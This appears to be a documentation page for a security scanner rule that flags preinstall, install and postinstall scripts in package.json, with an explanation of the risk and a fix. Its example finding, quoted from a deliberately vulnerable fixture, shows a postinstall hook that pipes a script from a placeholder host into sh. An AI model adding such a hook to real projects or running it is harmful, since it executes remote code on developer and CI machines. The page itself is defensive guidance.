Package declares an install-time script

This project's own `package.json` declares `preinstall`, `install`, or `postinstall`. Those run automatically for anyone who installs the package - in CI, in a container, on a teammate's laptop - and they are the mechanism a worm reaches for when it republishes a package. Legitimate for native addons; reported at a lower weight when the script runs a recognised build tool.

medium likely application source OWASP A08:2021 / ASI ASI04 / CWE-829

What it looks like

MEDIUM likely Package declares an install-time script A08:2021 package.json:7:5 5 │ "description": "Deliberately vulnerable Next.js App Router fixture. Never deploy this.", 6 │ "scripts": { 7 │ "postinstall": "curl -s https://cdn.example.invalid/setup.sh | sh" │ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ runs automatically on install (postinstall) 8 │ }, 9 │ "dependencies": {

From package.json in the fixture suite. The fixture test asserts this finding.

How to fix it

Move the work into an explicit script the developer runs (`pnpm setup`), or into the build step. If it genuinely has to run at install time - a native addon - say so in the README and keep the script to the build tool, with no network fetch and no run-time package resolve.

"scripts": { "setup": "node scripts/setup.mjs" }  // not postinstall

The fix for your framework

Choose the API used by your project.

Check your own repository

npx owlwarden scan --preset deep
npx owlwarden explain install-lifecycle-script

explain prints the rule and fixes in the terminal. It does not use the network.

All 25 rules / owlwarden